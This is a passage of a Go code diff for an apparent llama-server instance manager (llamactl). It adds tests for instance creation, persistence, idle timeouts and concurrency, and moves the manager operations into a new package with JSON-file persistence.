+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Get instance
+	retrieved, err := manager.GetInstance("test-instance")
+	if err != nil {
+		t.Fatalf("GetInstance failed: %v", err)
+	}
+	if retrieved.Name != created.Name {
+		t.Errorf("Expected name %q, got %q", created.Name, retrieved.Name)
+	}
+
+	// Update instance
+	newOptions := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/new-model.gguf",
+			Port:  8081,
+		},
+	}
+
+	updated, err := manager.UpdateInstance("test-instance", newOptions)
+	if err != nil {
+		t.Fatalf("UpdateInstance failed: %v", err)
+	}
+	if updated.GetOptions().Model != "/path/to/new-model.gguf" {
+		t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().Model)
+	}
+
+	// List instances
+	instances, err := manager.ListInstances()
+	if err != nil {
+		t.Fatalf("ListInstances failed: %v", err)
+	}
+	if len(instances) != 1 {
+		t.Errorf("Expected 1 instance, got %d", len(instances))
+	}
+
+	// Delete instance
+	err = manager.DeleteInstance("test-instance")
+	if err != nil {
+		t.Fatalf("DeleteInstance failed: %v", err)
+	}
+
+	_, err = manager.GetInstance("test-instance")
+	if err == nil {
+		t.Error("Instance should not exist after deletion")
+	}
+
+	// Test operations on non-existent instances
+	_, err = manager.GetInstance("nonexistent")
+	if err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Errorf("Expected 'not found' error, got: %v", err)
+	}
+
+	err = manager.DeleteInstance("nonexistent")
+	if err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Errorf("Expected 'not found' error, got: %v", err)
+	}
+
+	_, err = manager.UpdateInstance("nonexistent", options)
+	if err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Errorf("Expected 'not found' error, got: %v", err)
+	}
+}
+
+func TestPersistence(t *testing.T) {
+	tempDir := t.TempDir()
+
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		InstancesDir:         tempDir,
+		MaxInstances:         10,
+		TimeoutCheckInterval: 5,
+	}
+
+	// Test instance persistence on creation
+	manager1 := manager.NewInstanceManager(cfg)
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  8080,
+		},
+	}
+
+	_, err := manager1.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Check that JSON file was created
+	expectedPath := filepath.Join(tempDir, "test-instance.json")
+	if _, err := os.Stat(expectedPath); os.IsNotExist(err) {
+		t.Errorf("Expected persistence file %s to exist", expectedPath)
+	}
+
+	// Test loading instances from disk
+	manager2 := manager.NewInstanceManager(cfg)
+	instances, err := manager2.ListInstances()
+	if err != nil {
+		t.Fatalf("ListInstances failed: %v", err)
+	}
+	if len(instances) != 1 {
+		t.Fatalf("Expected 1 loaded instance, got %d", len(instances))
+	}
+	if instances[0].Name != "test-instance" {
+		t.Errorf("Expected loaded instance name 'test-instance', got %q", instances[0].Name)
+	}
+
+	// Test port map populated from loaded instances (port conflict should be detected)
+	_, err = manager2.CreateInstance("new-instance", options) // Same port
+	if err == nil || !strings.Contains(err.Error(), "port") {
+		t.Errorf("Expected port conflict error, got: %v", err)
+	}
+
+	// Test file deletion on instance deletion
+	err = manager2.DeleteInstance("test-instance")
+	if err != nil {
+		t.Fatalf("DeleteInstance failed: %v", err)
+	}
+
+	if _, err := os.Stat(expectedPath); !os.IsNotExist(err) {
+		t.Error("Expected persistence file to be deleted")
+	}
+}
+
+func TestTimeoutFunctionality(t *testing.T) {
+	// Test timeout checker initialization
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		TimeoutCheckInterval: 10,
+		MaxInstances:         5,
+	}
+
+	manager := manager.NewInstanceManager(cfg)
+	if manager == nil {
+		t.Fatal("Manager should be initialized with timeout checker")
+	}
+	manager.Shutdown() // Clean up
+
+	// Test timeout configuration and logic without starting the actual process
+	testManager := createTestManager()
+	defer testManager.Shutdown()
+
+	idleTimeout := 1 // 1 minute
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst, err := testManager.CreateInstance("timeout-test", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Test timeout configuration is properly set
+	if inst.GetOptions().IdleTimeout == nil {
+		t.Fatal("Instance should have idle timeout configured")
+	}
+	if *inst.GetOptions().IdleTimeout != 1 {
+		t.Errorf("Expected idle timeout 1 minute, got %d", *inst.GetOptions().IdleTimeout)
+	}
+
+	// Test timeout logic without actually starting the process
+	// Create a mock time provider to simulate timeout
+	mockTime := NewMockTimeProvider(time.Now())
+	inst.SetTimeProvider(mockTime)
+
+	// Set instance to running state so timeout logic can work
+	inst.Running = true
+
+	// Simulate instance being "running" for timeout check (without actual process)
+	// We'll test the ShouldTimeout logic directly
+	inst.UpdateLastRequestTime()
+
+	// Initially should not timeout (just updated)
+	if inst.ShouldTimeout() {
+		t.Error("Instance should not timeout immediately after request")
+	}
+
+	// Advance time to trigger timeout
+	mockTime.SetTime(time.Now().Add(2 * time.Minute))
+
+	// Now it should timeout
+	if !inst.ShouldTimeout() {
+		t.Error("Instance should timeout after idle period")
+	}
+
+	// Reset running state to avoid shutdown issues
+	inst.Running = false
+
+	// Test that instance without timeout doesn't timeout
+	noTimeoutOptions := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+		// No IdleTimeout set
+	}
+
+	noTimeoutInst, err := testManager.CreateInstance("no-timeout-test", noTimeoutOptions)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	noTimeoutInst.SetTimeProvider(mockTime)
+	noTimeoutInst.Running = true // Set to running for timeout check
+	noTimeoutInst.UpdateLastRequestTime()
+
+	// Even with time advanced, should not timeout
+	if noTimeoutInst.ShouldTimeout() {
+		t.Error("Instance without timeout configuration should never timeout")
+	}
+
+	// Reset running state to avoid shutdown issues
+	noTimeoutInst.Running = false
+}
+
+func TestConcurrentAccess(t *testing.T) {
+	manager := createTestManager()
+	defer manager.Shutdown()
+
+	// Test concurrent operations
+	var wg sync.WaitGroup
+	errChan := make(chan error, 10)
+
+	// Concurrent instance creation
+	for i := 0; i < 5; i++ {
+		wg.Add(1)
+		go func(index int) {
+			defer wg.Done()
+			options := &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			}
+			instanceName := fmt.Sprintf("concurrent-test-%d", index)
+			if _, err := manager.CreateInstance(instanceName, options); err != nil {
+				errChan <- err
+			}
+		}(i)
+	}
+
+	// Concurrent list operations
+	for i := 0; i < 3; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			if _, err := manager.ListInstances(); err != nil {
+				errChan <- err
+			}
+		}()
+	}
+
+	wg.Wait()
+	close(errChan)
+
+	// Check for any errors during concurrent access
+	for err := range errChan {
+		t.Errorf("Concurrent access error: %v", err)
+	}
+}
+
+func TestShutdown(t *testing.T) {
+	manager := createTestManager()
+
+	// Create test instance
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+	_, err := manager.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	// Shutdown should not panic
+	manager.Shutdown()
+
+	// Multiple shutdowns should not panic
+	manager.Shutdown()
+}
+
+// Helper function to create a test manager with standard config
+func createTestManager() manager.InstanceManager {
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		LogsDir:              "/tmp/test",
+		MaxInstances:         10,
+		LlamaExecutable:      "llama-server",
+		DefaultAutoRestart:   true,
+		DefaultMaxRestarts:   3,
+		DefaultRestartDelay:  5,
+		TimeoutCheckInterval: 5,
+	}
+	return manager.NewInstanceManager(cfg)
+}
+
+// Helper for timeout tests
+type MockTimeProvider struct {
+	currentTime time.Time
+	mu          sync.RWMutex
+}
+
+func NewMockTimeProvider(t time.Time) *MockTimeProvider {
+	return &MockTimeProvider{currentTime: t}
+}
+
+func (m *MockTimeProvider) Now() time.Time {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return m.currentTime
+}
+
+func (m *MockTimeProvider) SetTime(t time.Time) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.currentTime = t
+}

pkg/manager/operations.go

@@ -1,68 +1,38 @@
-package llamactl
+package manager
 
 import (
 	"fmt"
-	"sync"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/validation"
+	"os"
+	"path/filepath"
 )
 
-// InstanceManager defines the interface for managing instances of the llama server.
-type InstanceManager interface {
-	ListInstances() ([]*Instance, error)
-	CreateInstance(name string, options *CreateInstanceOptions) (*Instance, error)
-	GetInstance(name string) (*Instance, error)
-	UpdateInstance(name string, options *CreateInstanceOptions) (*Instance, error)
-	DeleteInstance(name string) error
-	StartInstance(name string) (*Instance, error)
-	StopInstance(name string) (*Instance, error)
-	RestartInstance(name string) (*Instance, error)
-	GetInstanceLogs(name string) (string, error)
-}
-
-type instanceManager struct {
-	mu              sync.RWMutex
-	instances       map[string]*Instance
-	ports           map[int]bool
-	instancesConfig InstancesConfig
-}
-
-// NewInstanceManager creates a new instance of InstanceManager.
-func NewInstanceManager(instancesConfig InstancesConfig) InstanceManager {
-	return &instanceManager{
-		instances:       make(map[string]*Instance),
-		ports:           make(map[int]bool),
-		instancesConfig: instancesConfig,
-	}
-}
-
 // ListInstances returns a list of all instances managed by the instance manager.
-func (im *instanceManager) ListInstances() ([]*Instance, error) {
+func (im *instanceManager) ListInstances() ([]*instance.Process, error) {
 	im.mu.RLock()
 	defer im.mu.RUnlock()
 
-	instances := make([]*Instance, 0, len(im.instances))
-	for _, instance := range im.instances {
-		instances = append(instances, instance)
+	instances := make([]*instance.Process, 0, len(im.instances))
+	for _, inst := range im.instances {
+		instances = append(instances, inst)
 	}
 	return instances, nil
 }
 
 // CreateInstance creates a new instance with the given options and returns it.
 // The instance is initially in a "stopped" state.
-func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOptions) (*Instance, error) {
+func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) {
 	if options == nil {
 		return nil, fmt.Errorf("instance options cannot be nil")
 	}
 
-	if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
-		return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
-	}
-
-	err := ValidateInstanceName(name)
+	name, err := validation.ValidateInstanceName(name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = ValidateInstanceOptions(options)
+	err = validation.ValidateInstanceOptions(options)
 	if err != nil {
 		return nil, err
 	}
@@ -70,6 +40,11 @@ func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOp
 	im.mu.Lock()
 	defer im.mu.Unlock()
 
+	// Check max instances limit after acquiring the lock
+	if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
+		return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
+	}
+
 	// Check if instance with this name already exists
 	if im.instances[name] != nil {
 		return nil, fmt.Errorf("instance with name %s already exists", name)
@@ -90,15 +65,19 @@ func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOp
 		im.ports[options.Port] = true
 	}
 
-	instance := NewInstance(name, &im.instancesConfig, options)
-	im.instances[instance.Name] = instance
+	inst := instance.NewInstance(name, &im.instancesConfig, options)
+	im.instances[inst.Name] = inst
 	im.ports[options.Port] = true
 
-	return instance, nil
+	if err := im.persistInstance(inst); err != nil {
+		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
+	}
+
+	return inst, nil
 }
 
 // GetInstance retrieves an instance by its name.
-func (im *instanceManager) GetInstance(name string) (*Instance, error) {
+func (im *instanceManager) GetInstance(name string) (*instance.Process, error) {
 	im.mu.RLock()
 	defer im.mu.RUnlock()
 
@@ -111,7 +90,7 @@ func (im *instanceManager) GetInstance(name string) (*Instance, error) {
 
 // UpdateInstance updates the options of an existing instance and returns it.
 // If the instance is running, it will be restarted to apply the new options.
-func (im *instanceManager) UpdateInstance(name string, options *CreateInstanceOptions) (*Instance, error) {
+func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) {
 	im.mu.RLock()
 	instance, exists := im.instances[name]
 	im.mu.RUnlock()
@@ -124,7 +103,7 @@ func (im *instanceManager) UpdateInstance(name string, options *CreateInstanceOp
 		return nil, fmt.Errorf("instance options cannot be nil")
 	}
 
-	err := ValidateInstanceOptions(options)
+	err := validation.ValidateInstanceOptions(options)
 	if err != nil {
 		return nil, err
 	}
@@ -149,6 +128,12 @@ func (im *instanceManager) UpdateInstance(name string, options *CreateInstanceOp
 		}
 	}
 
+	im.mu.Lock()
+	defer im.mu.Unlock()
+	if err := im.persistInstance(instance); err != nil {
+		return nil, fmt.Errorf("failed to persist updated instance %s: %w", name, err)
+	}
+
 	return instance, nil
 }
 
@@ -157,23 +142,30 @@ func (im *instanceManager) DeleteInstance(name string) error {
 	im.mu.Lock()
 	defer im.mu.Unlock()
 
-	_, exists := im.instances[name]
+	instance, exists := im.instances[name]
 	if !exists {
 		return fmt.Errorf("instance with name %s not found", name)
 	}
 
-	if im.instances[name].Running {
+	if instance.Running {
 		return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
 	}
 
-	delete(im.ports, im.instances[name].options.Port)
+	delete(im.ports, instance.GetOptions().Port)
 	delete(im.instances, name)
+
+	// Delete the instance's config file if persistence is enabled
+	instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
+	if err := os.Remove(instancePath); err != nil && !os.IsNotExist(err) {
+		return fmt.Errorf("failed to delete config file for instance %s: %w", instance.Name, err)
+	}
+
 	return nil
 }
 
 // StartInstance starts a stopped instance and returns it.
 // If the instance is already running, it returns an error.
-func (im *instanceManager) StartInstance(name string) (*Instance, error) {
+func (im *instanceManager) StartInstance(name string) (*instance.Process, error) {
 	im.mu.RLock()
 	instance, exists := im.instances[name]
 	im.mu.RUnlock()
@@ -189,11 +181,18 @@ func (im *instanceManager) StartInstance(name string) (*Instance, error) {
 		return nil, fmt.Errorf("failed to start instance %s: %w", name, err)
 	}
 
+	im.mu.Lock()
+	defer im.mu.Unlock()
+	err := im.persistInstance(instance)
+	if err != nil {
+		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
+	}
+
 	return instance, nil
 }
 
 // StopInstance stops a running instance and returns it.
-func (im *instanceManager) StopInstance(name string) (*Instance, error) {
+func (im *instanceManager) StopInstance(name string) (*instance.Process, error) {
 	im.mu.RLock()
 	instance, exists := im.instances[name]
 	im.mu.RUnlock()
@@ -209,11 +208,18 @@ func (im *instanceManager) StopInstance(name string) (*Instance, error) {
 		return nil, fmt.Errorf("failed to stop instance %s: %w", name, err)
 	}
 
+	im.mu.Lock()
+	defer im.mu.Unlock()
+	err := im.persistInstance(instance)
+	if err != nil {
+		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
+	}
+
 	return instance, nil
 }
 
 // RestartInstance stops and then starts an instance, returning the updated instance.
-func (im *instanceManager) RestartInstance(name string) (*Instance, error) {
+func (im *instanceManager) RestartInstance(name string) (*instance.Process, error) {
 	instance, err := im.StopInstance(name)
 	if err != nil {
 		return nil, err
@@ -234,16 +240,3 @@ func (im *instanceManager) GetInstanceLogs(name string) (string, error) {
 	// TODO: Implement actual log retrieval logic
 	return fmt.Sprintf("Logs for instance %s", name), nil
 }
-
-func (im *instanceManager) getNextAvailablePort() (int, error) {
-	portRange := im.instancesConfig.PortRange
-
-	for port := portRange[0]; port <= portRange[1]; port++ {
-		if !im.ports[port] {
-			im.ports[port] = true
-			return port, nil
-		}
-	}
-
-	return 0, fmt.Errorf("no available ports in the specified range")
-}

pkg/manager/timeout.go

@@ -0,0 +1,26 @@
+package manager
+
+import "log"
+
+func (im *instanceManager) checkAllTimeouts() {
+	im.mu.RLock()
+	var timeoutInstances []string
+
+	// Identify instances that should timeout
+	for _, inst := range im.instances {
+		if inst.ShouldTimeout() {
+			timeoutInstances = append(timeoutInstances, inst.Name)
+		}
+	}
+	im.mu.RUnlock() // Release read lock before calling StopInstance
+
+	// Stop the timed-out instances
+	for _, name := range timeoutInstances {
+		log.Printf("Instance %s has timed out, stopping it", name)
+		if _, err := im.StopInstance(name); err != nil {
+			log.Printf("Error stopping instance %s: %v", name, err)
+		} else {
+			log.Printf("Instance %s stopped successfully", name)
+		}
+	}
+}

pkg/manager_test.go

@@ -1,501 +0,0 @@
-package llamactl_test
-
-import (
-	"strings"
-	"testing"
-
-	llamactl "llamactl/pkg"
-)
-
-func TestNewInstanceManager(t *testing.T) {
-	config := llamactl.InstancesConfig{
-		PortRange:           [2]int{8000, 9000},
-		LogDirectory:        "/tmp/test",
-		MaxInstances:        5,
-		LlamaExecutable:     "llama-server",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	manager := llamactl.NewInstanceManager(config)
-	if manager == nil {
-		t.Fatal("NewInstanceManager returned nil")
-	}
-
-	// Test initial state
-	instances, err := manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-	if len(instances) != 0 {
-		t.Errorf("Expected empty instance list, got %d instances", len(instances))
-	}
-}
-
-func TestCreateInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	instance, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	if instance.Name != "test-instance" {
-		t.Errorf("Expected instance name 'test-instance', got %q", instance.Name)
-	}
-	if instance.Running {
-		t.Error("New instance should not be running")
-	}
-	if instance.GetOptions().Port != 8080 {
-		t.Errorf("Expected port 8080, got %d", instance.GetOptions().Port)
-	}
-}
-
-func TestCreateInstance_DuplicateName(t *testing.T) {
-	manager := createTestManager()
-
-	options1 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create first instance
-	_, err := manager.CreateInstance("test-instance", options1)
-	if err != nil {
-		t.Fatalf("First CreateInstance failed: %v", err)
-	}
-
-	// Try to create duplicate
-	_, err = manager.CreateInstance("test-instance", options2)
-	if err == nil {
-		t.Error("Expected error for duplicate instance name")
-	}
-	if !strings.Contains(err.Error(), "already exists") {
-		t.Errorf("Expected duplicate name error, got: %v", err)
-	}
-}
-
-func TestCreateInstance_MaxInstancesLimit(t *testing.T) {
-	// Create manager with low max instances limit
-	config := llamactl.InstancesConfig{
-		PortRange:    [2]int{8000, 9000},
-		MaxInstances: 2, // Very low limit for testing
-	}
-	manager := llamactl.NewInstanceManager(config)
-
-	options1 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options3 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create instances up to the limit
-	_, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	_, err = manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	// This should fail due to max instances limit
-	_, err = manager.CreateInstance("instance3", options3)
-	if err == nil {
-		t.Error("Expected error when exceeding max instances limit")
-	}
-	if !strings.Contains(err.Error(), "maximum number of instances") && !strings.Contains(err.Error(), "limit") {
-		t.Errorf("Expected max instances error, got: %v", err)
-	}
-}
-
-func TestCreateInstance_PortAssignment(t *testing.T) {
-	manager := createTestManager()
-
-	// Create instance without specifying port
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	instance, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Should auto-assign a port in the range
-	port := instance.GetOptions().Port
-	if port < 8000 || port > 9000 {
-		t.Errorf("Expected port in range 8000-9000, got %d", port)
-	}
-}
-
-func TestCreateInstance_PortConflictDetection(t *testing.T) {
-	manager := createTestManager()
-
-	options1 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080, // Explicit port
-		},
-	}
-
-	options2 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model2.gguf",
-			Port:  8080, // Same port - should conflict
-		},
-	}
-
-	// Create first instance
-	_, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	// Try to create second instance with same port
-	_, err = manager.CreateInstance("instance2", options2)
-	if err == nil {
-		t.Error("Expected error for port conflict")
-	}
-	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "conflict") && !strings.Contains(err.Error(), "in use") {
-		t.Errorf("Expected port conflict error, got: %v", err)
-	}
-}
-
-func TestCreateInstance_MultiplePortAssignment(t *testing.T) {
-	manager := createTestManager()
-
-	options1 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create multiple instances and verify they get different ports
-	instance1, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	instance2, err := manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	port1 := instance1.GetOptions().Port
-	port2 := instance2.GetOptions().Port
-
-	if port1 == port2 {
-		t.Errorf("Expected different ports, both got %d", port1)
-	}
-}
-
-func TestCreateInstance_PortExhaustion(t *testing.T) {
-	// Create manager with very small port range
-	config := llamactl.InstancesConfig{
-		PortRange:    [2]int{8000, 8001}, // Only 2 ports available
-		MaxInstances: 10,                 // Higher than available ports
-	}
-	manager := llamactl.NewInstanceManager(config)
-
-	options1 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options3 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create instances to exhaust all ports
-	_, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	_, err = manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	// This should fail due to port exhaustion
-	_, err = manager.CreateInstance("instance3", options3)
-	if err == nil {
-		t.Error("Expected error when ports are exhausted")
-	}
-	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "available") {
-		t.Errorf("Expected port exhaustion error, got: %v", err)
-	}
-}
-
-func TestDeleteInstance_PortRelease(t *testing.T) {
-	manager := createTestManager()
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	// Create instance with specific port
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Delete the instance
-	err = manager.DeleteInstance("test-instance")
-	if err != nil {
-		t.Fatalf("DeleteInstance failed: %v", err)
-	}
-
-	// Should be able to create new instance with same port
-	_, err = manager.CreateInstance("new-instance", options)
-	if err != nil {
-		t.Errorf("Expected to reuse port after deletion, got error: %v", err)
-	}
-}
-
-func TestGetInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	// Create an instance first
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-	created, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Retrieve it
-	retrieved, err := manager.GetInstance("test-instance")
-	if err != nil {
-		t.Fatalf("GetInstance failed: %v", err)
-	}
-
-	if retrieved.Name != created.Name {
-		t.Errorf("Expected name %q, got %q", created.Name, retrieved.Name)
-	}
-}
-
-func TestGetInstance_NotFound(t *testing.T) {
-	manager := createTestManager()
-
-	_, err := manager.GetInstance("nonexistent")
-	if err == nil {
-		t.Error("Expected error for nonexistent instance")
-	}
-	if !strings.Contains(err.Error(), "not found") {
-		t.Errorf("Expected 'not found' error, got: %v", err)
-	}
-}
-
-func TestListInstances(t *testing.T) {
-	manager := createTestManager()
-
-	// Initially empty
-	instances, err := manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-	if len(instances) != 0 {
-		t.Errorf("Expected 0 instances, got %d", len(instances))
-	}
-
-	// Create some instances
-	options1 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	_, err = manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	_, err = manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	// List should return both
-	instances, err = manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-	if len(instances) != 2 {
-		t.Errorf("Expected 2 instances, got %d", len(instances))
-	}
-
-	// Check names are present
-	names := make(map[string]bool)
-	for _, instance := range instances {
-		names[instance.Name] = true
-	}
-	if !names["instance1"] || !names["instance2"] {
-		t.Error("Expected both instance1 and instance2 in list")
-	}
-}
-
-func TestDeleteInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	// Create an instance
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Delete it
-	err = manager.DeleteInstance("test-instance")
-	if err != nil {
-		t.Fatalf("DeleteInstance failed: %v", err)
-	}
-
-	// Should no longer exist
-	_, err = manager.GetInstance("test-instance")
-	if err == nil {
-		t.Error("Instance should not exist after deletion")
-	}
-}
-
-func TestDeleteInstance_NotFound(t *testing.T) {
-	manager := createTestManager()
-
-	err := manager.DeleteInstance("nonexistent")
-	if err == nil {
-		t.Error("Expected error for deleting nonexistent instance")
-	}
-	if !strings.Contains(err.Error(), "not found") {
-		t.Errorf("Expected 'not found' error, got: %v", err)
-	}
-}
-
-func TestUpdateInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	// Create an instance
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Update it
-	newOptions := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/new-model.gguf",
-			Port:  8081,
-		},
-	}
-
-	updated, err := manager.UpdateInstance("test-instance", newOptions)
-	if err != nil {
-		t.Fatalf("UpdateInstance failed: %v", err)
-	}
-
-	if updated.GetOptions().Model != "/path/to/new-model.gguf" {
-		t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().Model)
-	}
-	if updated.GetOptions().Port != 8081 {
-		t.Errorf("Expected port 8081, got %d", updated.GetOptions().Port)
-	}
-}
-
-func TestUpdateInstance_NotFound(t *testing.T) {
-	manager := createTestManager()
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	_, err := manager.UpdateInstance("nonexistent", options)
-	if err == nil {
-		t.Error("Expected error for updating nonexistent instance")
-	}
-	if !strings.Contains(err.Error(), "not found") {
-		t.Errorf("Expected 'not found' error, got: %v", err)
-	}
-}
-
-// Helper function to create a test manager with standard config
